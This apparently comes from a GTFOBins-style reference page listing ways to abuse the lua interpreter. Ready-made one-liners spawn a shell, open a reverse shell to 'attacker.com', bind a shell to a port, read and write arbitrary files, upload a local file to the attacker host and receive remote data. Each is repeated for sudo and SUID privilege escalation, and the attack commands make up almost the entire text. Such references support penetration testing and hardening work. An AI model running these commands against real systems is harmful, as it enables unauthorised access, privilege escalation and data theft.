This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
lua -e 'os.execute("/bin/sh")'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e 'os.execute("/bin/sh")'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e 'os.execute("/bin/sh")'
This executable can send back a reverse system shell to a listening attacker.
This function can be performed by any unprivileged user.
lua -e '
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e '
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e '
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
This executable can bind a system shell to a local port waiting for an attacker to connect.
This function can be performed by any unprivileged user.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
This executable can write data to local files.
This function can be performed by any unprivileged user.
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);'
This executable can read data from local files.
This function can be performed by any unprivileged user.
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);'
This executable can upload local data.
This function can be performed by any unprivileged user.
lua -e '
local f=io.open("/path/to/input-file", "rb")
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
t:send(d);
t:close();'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e '
local f=io.open("/path/to/input-file", "rb")
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
t:send(d);
t:close();'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e '
local f=io.open("/path/to/input-file", "rb")
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
t:send(d);
t:close();'
This executable can download remote data.
This function can be performed by any unprivileged user.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open("/path/to/output-file", "wb");
f:write(d);
io.close(f);'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open("/path/to/output-file", "wb");
f:write(d);
io.close(f);'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open("/path/to/output-file", "wb");
f:write(d);
io.close(f);'